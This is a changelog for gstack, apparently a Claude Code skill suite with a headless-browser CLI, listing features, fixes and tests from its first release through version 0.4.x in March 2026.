- **Every question is now crystal clear, every time.** You used to need 3+ sessions running before gstack would give you full context and plain English explanations. Now every question. even in a single session. tells you the project, branch, and what's happening, explained simply enough to understand mid-context-switch. No more "sorry, explain it to me more simply."
- **Branch name is always correct.** gstack now detects your current branch at runtime instead of relying on the snapshot from when the conversation started. Switch branches mid-session? gstack keeps up.

### For contributors

- Merged ELI16 rules into base AskUserQuestion format. one format instead of two, no `_SESSIONS >= 3` conditional.
- Added `_BRANCH` detection to preamble bash block (`git branch --show-current` with fallback).
- Added regression guard tests for branch detection and simplification rules.

## 0.4.2. 2026-03-16

- **`$B js "await fetch(...)"` now just works.** Any `await` expression in `$B js` or `$B eval` is automatically wrapped in an async context. No more `SyntaxError: await is only valid in async functions`. Single-line eval files return values directly; multi-line files use explicit `return`.
- **Contributor mode now reflects, not just reacts.** Instead of only filing reports when something breaks, contributor mode now prompts periodic reflection: "Rate your gstack experience 0-10. Not a 10? Think about why." Catches quality-of-life issues and friction that passive detection misses. Reports now include a 0-10 rating and "What would make this a 10" to focus on actionable improvements.
- **Skills now respect your branch target.** `/ship`, `/review`, `/qa`, and `/plan-ceo-review` detect which branch your PR actually targets instead of assuming `main`. Stacked branches, Conductor workspaces targeting feature branches, and repos using `master` all just work now.
- **`/retro` works on any default branch.** Repos using `master`, `develop`, or other default branch names are detected automatically. no more empty retros because the branch name was wrong.
- **New `{{BASE_BRANCH_DETECT}}` placeholder** for skill authors. drop it into any template and get 3-step branch detection (PR base → repo default → fallback) for free.
- **3 new E2E smoke tests** validate base branch detection works end-to-end across ship, review, and retro skills.

### For contributors

- Added `hasAwait()` helper with comment-stripping to avoid false positives on `// await` in eval files.
- Smart eval wrapping: single-line → expression `(...)`, multi-line → block `{...}` with explicit `return`.
- 6 new async wrapping unit tests, 40 new contributor mode preamble validation tests.
- Calibration example framed as historical ("used to fail") to avoid implying a live bug post-fix.
- Added "Writing SKILL templates" section to CLAUDE.md. rules for natural language over bash-isms, dynamic branch detection, self-contained code blocks.
- Hardcoded-main regression test scans all `.tmpl` files for git commands with hardcoded `main`.
- QA template cleaned up: removed `REPORT_DIR` shell variable, simplified port detection to prose.
- gstack-upgrade template: explicit cross-step prose for variable references between bash blocks.

## 0.4.1. 2026-03-16

- **gstack now notices when it screws up.** Turn on contributor mode (`gstack-config set gstack_contributor true`) and gstack automatically writes up what went wrong. what you were doing, what broke, repro steps. Next time something annoys you, the bug report is already written. Fork gstack and fix it yourself.
- **Juggling multiple sessions? gstack keeps up.** When you have 3+ gstack windows open, every question now tells you which project, which branch, and what you were working on. No more staring at a question thinking "wait, which window is this?"
- **Every question now comes with a recommendation.** Instead of dumping options on you and making you think, gstack tells you what it would pick and why. Same clear format across every skill.
- **/review now catches forgotten enum handlers.** Add a new status, tier, or type constant? /review traces it through every switch statement, allowlist, and filter in your codebase. not just the files you changed. Catches the "added the value but forgot to handle it" class of bugs before they ship.

### For contributors

- Renamed `{{UPDATE_CHECK}}` to `{{PREAMBLE}}` across all 11 skill templates. one startup block now handles update check, session tracking, contributor mode, and question formatting.
- DRY'd plan-ceo-review and plan-eng-review question formatting to reference the preamble baseline instead of duplicating rules.
- Added CHANGELOG style guide and vendored symlink awareness docs to CLAUDE.md.

## 0.4.0. 2026-03-16

### Added
- **QA-only skill** (`/qa-only`). report-only QA mode that finds and documents bugs without making fixes. Hand off a clean bug report to your team without the agent touching your code.
- **QA fix loop**. `/qa` now runs a find-fix-verify cycle: discover bugs, fix them, commit, re-navigate to confirm the fix took. One command to go from broken to shipped.
- **Plan-to-QA artifact flow**. `/plan-eng-review` writes test-plan artifacts that `/qa` picks up automatically. Your engineering review now feeds directly into QA testing with no manual copy-paste.
- **`{{QA_METHODOLOGY}}` DRY placeholder**. shared QA methodology block injected into both `/qa` and `/qa-only` templates. Keeps both skills in sync when you update testing standards.
- **Eval efficiency metrics**. turns, duration, and cost now displayed across all eval surfaces with natural-language **Takeaway** commentary. See at a glance whether your prompt changes made the agent faster or slower.
- **`generateCommentary()` engine**. interprets comparison deltas so you don't have to: flags regressions, notes improvements, and produces an overall efficiency summary.
- **Eval list columns**. `bun run eval:list` now shows Turns and Duration per run. Spot expensive or slow runs instantly.
- **Eval summary per-test efficiency**. `bun run eval:summary` shows average turns/duration/cost per test across runs. Identify which tests are costing you the most over time.
- **`judgePassed()` unit tests**. extracted and tested the pass/fail judgment logic.
- **3 new E2E tests**. qa-only no-fix guardrail, qa fix loop with commit verification, plan-eng-review test-plan artifact.
- **Browser ref staleness detection**. `resolveRef()` now checks element count to detect stale refs after page mutations. SPA navigation no longer causes 30-second timeouts on missing elements.
- 3 new snapshot tests for ref staleness.

### Changed
- QA skill prompt restructured with explicit two-cycle workflow (find → fix → verify).
- `formatComparison()` now shows per-test turns and duration deltas alongside cost.
- `printSummary()` shows turns and duration columns.
- `eval-store.test.ts` fixed pre-existing `_partial` file assertion bug.

### Fixed
- Browser ref staleness. refs collected before page mutation (e.g. SPA navigation) are now detected and re-collected. Eliminates a class of flaky QA failures on dynamic sites.

## 0.3.9. 2026-03-15

### Added
- **`bin/gstack-config` CLI**. simple get/set/list interface for `~/.gstack/config.yaml`. Used by update-check and upgrade skill for persistent settings (auto_upgrade, update_check).
- **Smart update check**. 12h cache TTL (was 24h), exponential snooze backoff (24h → 48h → 1 week) when user declines upgrades, `update_check: false` config option to disable checks entirely. Snooze resets when a new version is released.
- **Auto-upgrade mode**. set `auto_upgrade: true` in config or `GSTACK_AUTO_UPGRADE=1` env var to skip the upgrade prompt and update automatically.
- **4-option upgrade prompt**. "Yes, upgrade now", "Always keep me up to date", "Not now" (snooze), "Never ask again" (disable).
- **Vendored copy sync**. `/gstack-upgrade` now detects and updates local vendored copies in the current project after upgrading the primary install.
- 25 new tests: 11 for gstack-config CLI, 14 for snooze/config paths in update-check.

### Changed
- README upgrade/troubleshooting sections simplified to reference `/gstack-upgrade` instead of long paste commands.
- Upgrade skill template bumped to v1.1.0 with `Write` tool permission for config editing.
- All SKILL.md preambles updated with new upgrade flow description.

## 0.3.8. 2026-03-14

### Added
- **TODOS.md as single source of truth**. merged `TODO.md` (roadmap) and `TODOS.md` (near-term) into one file organized by skill/component with P0-P4 priority ordering and a Completed section.
- **`/ship` Step 5.5: TODOS.md management**. auto-detects completed items from the diff, marks them done with version annotations, offers to create/reorganize TODOS.md if missing or unstructured.
- **Cross-skill TODOS awareness**. `/plan-ceo-review`, `/plan-eng-review`, `/retro`, `/review`, and `/qa` now read TODOS.md for project context. `/retro` adds Backlog Health metric (open counts, P0/P1 items, churn).
- **Shared `review/TODOS-format.md`**. canonical TODO item format referenced by `/ship` and `/plan-ceo-review` to prevent format drift (DRY).
- **Greptile 2-tier reply system**. Tier 1 (friendly, inline diff + explanation) for first responses; Tier 2 (firm, full evidence chain + re-rank request) when Greptile re-flags after a prior reply.
- **Greptile reply templates**. structured templates in `greptile-triage.md` for fixes (inline diff), already-fixed (what was done), and false positives (evidence + suggested re-rank). Replaces vague one-line replies.
- **Greptile escalation detection**. explicit algorithm to detect prior GStack replies on comment threads and auto-escalate to Tier 2.
- **Greptile severity re-ranking**. replies now include `**Suggested re-rank:**` when Greptile miscategorizes issue severity.
- Static validation tests for `TODOS-format.md` references across skills.

### Fixed
- **`.gitignore` append failures silently swallowed**. `ensureStateDir()` bare `catch {}` replaced with ENOENT-only silence; non-ENOENT errors (EACCES, ENOSPC) logged to `.gstack/browse-server.log`.

### Changed
- `TODO.md` deleted. all items merged into `TODOS.md`.
- `/ship` Step 3.75 and `/review` Step 5 now reference reply templates and escalation detection from `greptile-triage.md`.
- `/ship` Step 6 commit ordering includes TODOS.md in the final commit alongside VERSION + CHANGELOG.
- `/ship` Step 8 PR body includes TODOS section.

## 0.3.7. 2026-03-14

### Added
- **Screenshot element/region clipping**. `screenshot` command now supports element crop via CSS selector or @ref (`screenshot "#hero" out.png`, `screenshot @e3 out.png`), region clip (`screenshot --clip x,y,w,h out.png`), and viewport-only mode (`screenshot --viewport out.png`). Uses Playwright's native `locator.screenshot()` and `page.screenshot({ clip })`. Full page remains the default.
- 10 new tests covering all screenshot modes (viewport, CSS, @ref, clip) and error paths (unknown flag, mutual exclusion, invalid coords, path validation, nonexistent selector).

## 0.3.6. 2026-03-14

### Added
- **E2E observability**. heartbeat file (`~/.gstack-dev/e2e-live.json`), per-run log directory (`~/.gstack-dev/e2e-runs/{runId}/`), progress.log, per-test NDJSON transcripts, persistent failure transcripts. All I/O non-fatal.
- **`bun run eval:watch`**. live terminal dashboard reads heartbeat + partial eval file every 1s. Shows completed tests, current test with turn/tool info, stale detection (>10min), `--tail` for progress.log.
- **Incremental eval saves**. `savePartial()` writes `_partial-e2e.json` after each test completes. Crash-resilient: partial results survive killed runs. Never cleaned up.
- **Machine-readable diagnostics**. `exit_reason`, `timeout_at_turn`, `last_tool_call` fields in eval JSON. Enables `jq` queries for automated fix loops.
- **API connectivity pre-check**. E2E suite throws immediately on ConnectionRefused before burning test budget.
- **`is_error` detection**. `claude -p` can return `subtype: "success"` with `is_error: true` on API failures. Now correctly classified as `error_api`.
- **Stream-json NDJSON parser**. `parseNDJSON()` pure function for real-time E2E progress from `claude -p --output-format stream-json --verbose`.
- **Eval persistence**. results saved to `~/.gstack-dev/evals/` with auto-comparison against previous run.
- **Eval CLI tools**. `eval:list`, `eval:compare`, `eval:summary` for inspecting eval history.
- **All 9 skills converted to `.tmpl` templates**. plan-ceo-review, plan-eng-review, retro, review, ship now use `{{UPDATE_CHECK}}` placeholder. Single source of truth for update check preamble.
- **3-tier eval suite**. Tier 1: static validation (free), Tier 2: E2E via `claude -p` (~$3.85/run), Tier 3: LLM-as-judge (~$0.15/run). Gated by `EVALS=1`.
- **Planted-bug outcome testing**. eval fixtures with known bugs, LLM judge scores detection.
- 15 observability unit tests covering heartbeat schema, progress.log format, NDJSON naming, savePartial, finalize, watcher rendering, stale detection, non-fatal I/O.
- E2E tests for plan-ceo-review, plan-eng-review, retro skills.
- Update-check exit code regression tests.
- `test/helpers/skill-parser.ts`. `getRemoteSlug()` for git remote detection.

### Fixed
- **Browse binary discovery broken for agents**. replaced `find-browse` indirection with explicit `browse/dist/browse` path in SKILL.md setup blocks.
- **Update check exit code 1 misleading agents**. added `|| true` to prevent non-zero exit when no update available.
- **browse/SKILL.md missing setup block**. added `{{BROWSE_SETUP}}` placeholder.
- **plan-ceo-review timeout**. init git repo in test dir, skip codebase exploration, bump timeout to 420s.
- Planted-bug eval reliability. simplified prompts, lowered detection baselines, resilient to max_turns flakes.

### Changed
- **Template system expanded**. `{{UPDATE_CHECK}}` and `{{BROWSE_SETUP}}` placeholders in `gen-skill-docs.ts`. All browse-using skills generate from single source of truth.
- Enriched 14 command descriptions with specific arg formats, valid values, error behavior, and return types.
- Setup block checks workspace-local path first (for development), falls back to global install.
- LLM eval judge upgraded from Haiku to Sonnet 4.6.
- `generateHelpText()` auto-generated from COMMAND_DESCRIPTIONS (replaces hand-maintained help text).

## 0.3.3. 2026-03-13

### Added
- **SKILL.md template system**. `.tmpl` files with `{{COMMAND_REFERENCE}}` and `{{SNAPSHOT_FLAGS}}` placeholders, auto-generated from source code at build time. Structurally prevents command drift between docs and code.
- **Command registry** (`browse/src/commands.ts`). single source of truth for all browse commands with categories and enriched descriptions. Zero side effects, safe to import from build scripts and tests.
- **Snapshot flags metadata** (`SNAPSHOT_FLAGS` array in `browse/src/snapshot.ts`). metadata-driven parser replaces hand-coded switch/case. Adding a flag in one place updates the parser, docs, and tests.
- **Tier 1 static validation**. 43 tests: parses `$B` commands from SKILL.md code blocks, validates against command registry and snapshot flag metadata
- **Tier 2 E2E tests** via Agent SDK. spawns real Claude sessions, runs skills, scans for browse errors. Gated by `SKILL_E2E=1` env var (~$0.50/run)
- **Tier 3 LLM-as-judge evals**. Haiku scores generated docs on clarity/completeness/actionability (threshold ≥4/5), plus regression test vs hand-maintained baseline. Gated by `ANTHROPIC_API_KEY`
- **`bun run skill:check`**. health dashboard showing all skills, command counts, validation status, template freshness
- **`bun run dev:skill`**. watch mode that regenerates and validates SKILL.md on every template or source file change
- **CI workflow** (`.github/workflows/skill-docs.yml`). runs `gen:skill-docs` on push/PR, fails if generated output differs from committed files
- `bun run gen:skill-docs` script for manual regeneration
- `bun run test:eval` for LLM-as-judge evals
- `test/helpers/skill-parser.ts`. extracts and validates `$B` commands from Markdown
- `test/helpers/session-runner.ts`. Agent SDK wrapper with error pattern scanning and transcript saving
- **ARCHITECTURE.md**. design decisions document covering daemon model, security, ref system, logging, crash recovery
- **Conductor integration** (`conductor.json`). lifecycle hooks for workspace setup/teardown
- **`.env` propagation**. `bin/dev-setup` copies `.env` from main worktree into Conductor workspaces automatically
- `.env.example` template for API key configuration

### Changed
- Build now runs `gen:skill-docs` before compiling binaries
- `parseSnapshotArgs` is metadata-driven (iterates `SNAPSHOT_FLAGS` instead of switch/case)
- `server.ts` imports command sets from `commands.ts` instead of declaring inline
- SKILL.md and browse/SKILL.md are now generated files (edit the `.tmpl` instead)

## 0.3.2. 2026-03-13

### Fixed
- Cookie import picker now returns JSON instead of HTML. `jsonResponse()` referenced `url` out of scope, crashing every API call
- `help` command routed correctly (was unreachable due to META_COMMANDS dispatch ordering)
- Stale servers from global install no longer shadow local changes. removed legacy `~/.claude/skills/gstack` fallback from `resolveServerScript()`
- Crash log path references updated from `/tmp/` to `.gstack/`

### Added
- **Diff-aware QA mode**. `/qa` on a feature branch auto-analyzes `git diff`, identifies affected pages/routes, detects the running app on localhost, and tests only what changed. No URL needed.
- **Project-local browse state**. state file, logs, and all server state now live in `.gstack/` inside the project root (detected via `git rev-parse --show-toplevel`). No more `/tmp` state files.
- **Shared config module** (`browse/src/config.ts`). centralizes path resolution for CLI and server, eliminates duplicated port/state logic
- **Random port selection**. server picks a random port 10000-60000 instead of scanning 9400-9409. No more CONDUCTOR_PORT magic offset. No more port collisions across workspaces.
- **Binary version tracking**. state file includes `binaryVersion` SHA; CLI auto-restarts the server when the binary is rebuilt
- **Legacy /tmp cleanup**. CLI scans for and removes old `/tmp/browse-server*.json` files, verifying PID ownership before sending signals
- **Greptile integration**. `/review` and `/ship` fetch and triage Greptile bot comments; `/retro` tracks Greptile batting average across weeks
- **Local dev mode**. `bin/dev-setup` symlinks skills from the repo for in-place development; `bin/dev-teardown` restores global install
- `help` command. agents can self-discover all commands and snapshot flags
- Version-aware `find-browse` with META signal protocol. detects stale binaries and prompts agents to update
- `browse/dist/find-browse` compiled binary with git SHA comparison against origin/main (4hr cached)
- `.version` file written at build time for binary version tracking
- Route-level tests for cookie picker (13 tests) and find-browse version check (10 tests)
- Config resolution tests (14 tests) covering git root detection, BROWSE_STATE_FILE override, ensureStateDir, readVersionHash, resolveServerScript, and version mismatch detection
- Browser interaction guidance in CLAUDE.md. prevents Claude from using mcp\_\_claude-in-chrome\_\_\* tools
- CONTRIBUTING.md with quick start, dev mode explanation, and instructions for testing branches in other repos

### Changed
- State file location: `.gstack/browse.json` (was `/tmp/browse-server.json`)
- Log files location: `.gstack/browse-{console,network,dialog}.log` (was `/tmp/browse-*.log`)
- Atomic state file writes: `.json.tmp` → rename (prevents partial reads)
- CLI passes `BROWSE_STATE_FILE` to spawned server (server derives all paths from it)
- SKILL.md setup checks parse META signals and handle `META:UPDATE_AVAILABLE`
- `/qa` SKILL.md now describes four modes (diff-aware, full, quick, regression) with diff-aware as the default on feature branches
- `jsonResponse`/`errorResponse` use options objects to prevent positional parameter confusion
- Build script compiles both `browse` and `find-browse` binaries, cleans up `.bun-build` temp files
- README updated with Greptile setup instructions, diff-aware QA examples, and revised demo transcript

### Removed
- `CONDUCTOR_PORT` magic offset (`browse_port = CONDUCTOR_PORT - 45600`)
- Port scan range 9400-9409
- Legacy fallback to `~/.claude/skills/gstack/browse/src/server.ts`
- `DEVELOPING_GSTACK.md` (renamed to CONTRIBUTING.md)

## 0.3.1. 2026-03-12

### Phase 3.5: Browser cookie import

- `cookie-import-browser` command. decrypt and import cookies from real Chromium browsers (Comet, Chrome, Arc, Brave, Edge)
- Interactive cookie picker web UI served from the browse server (dark theme, two-panel layout, domain search, import/remove)
- Direct CLI import with `--domain` flag for non-interactive use
- `/setup-browser-cookies` skill for Claude Code integration
- macOS Keychain access with async 10s timeout (no event loop blocking)
- Per-browser AES key caching (one Keychain prompt per browser per session)
- DB lock fallback: copies locked cookie DB to /tmp for safe reads
- 18 unit tests with encrypted cookie fixtures

## 0.3.0. 2026-03-12

### Phase 3: /qa skill. systematic QA testing

- New `/qa` skill with 6-phase workflow (Initialize, Authenticate, Orient, Explore, Document, Wrap up)
- Three modes: full (systematic, 5-10 issues), quick (30-second smoke test), regression (compare against baseline)
- Issue taxonomy: 7 categories, 4 severity levels, per-page exploration checklist
- Structured report template with health score (0-100, weighted across 7 categories)
- Framework detection guidance for Next.js, Rails, WordPress, and SPAs
- `browse/bin/find-browse`. DRY binary discovery using `git rev-parse --show-toplevel`

### Phase 2: Enhanced browser

- Dialog handling: auto-accept/dismiss, dialog buffer, prompt text support
- File upload: `upload <sel> <file1> [file2...]`
- Element state checks: `is visible|hidden|enabled|disabled|checked|editable|focused <sel>`
- Annotated screenshots with ref labels overlaid (`snapshot -a`)
- Snapshot diffing against previous snapshot (`snapshot -D`)
- Cursor-interactive element scan for non-ARIA clickables (`snapshot -C`)
- `wait --networkidle` / `--load` / `--domcontentloaded` flags
- `console --errors` filter (error + warning only)
- `cookie-import <json-file>` with auto-fill domain from page URL
- CircularBuffer O(1) ring buffer for console/network/dialog buffers
- Async buffer flush with Bun.write()
- Health check with page.evaluate + 2s timeout
- Playwright error wrapping. actionable messages for AI agents
- Context recreation preserves cookies/storage/URLs (useragent fix)
- SKILL.md rewritten as QA-oriented playbook with 10 workflow patterns
- 166 integration tests (was ~63)

## 0.0.2. 2026-03-12

- Fix project-local `/browse` installs. compiled binary now resolves `server.ts` from its own directory instead of assuming a global install exists
- `setup` rebuilds stale binaries (not just missing ones) and exits non-zero if the build fails
- Fix `chain` command swallowing real errors from write commands (e.g. navigation timeout reported as "Unknown meta command")
- Fix unbounded restart loop in CLI when server crashes repeatedly on the same command
- Cap console/network buffers at 50k entries (ring buffer) instead of growing without bound
- Fix disk flush stopping silently after buffer hits the 50k cap
- Fix `ln -snf` in setup to avoid creating nested symlinks on upgrade
- Use `git fetch && git reset --hard` instead of `git pull` for upgrades (handles force-pushes)
- Simplify install: global-first with optional project copy (replaces submodule approach)
- Restructured README: hero, before/after, demo transcript, troubleshooting section
- Six skills (added `/retro`)

## 0.0.1. 2026-03-11

Initial release.

- Five skills: `/plan-ceo-review`, `/plan-eng-review`, `/review`, `/ship`, `/browse`
- Headless browser CLI with 40+ commands, ref-based interaction, persistent Chromium daemon
- One-command install as Claude Code skills (submodule or global clone)
- `setup` script for binary compilation and skill symlinking
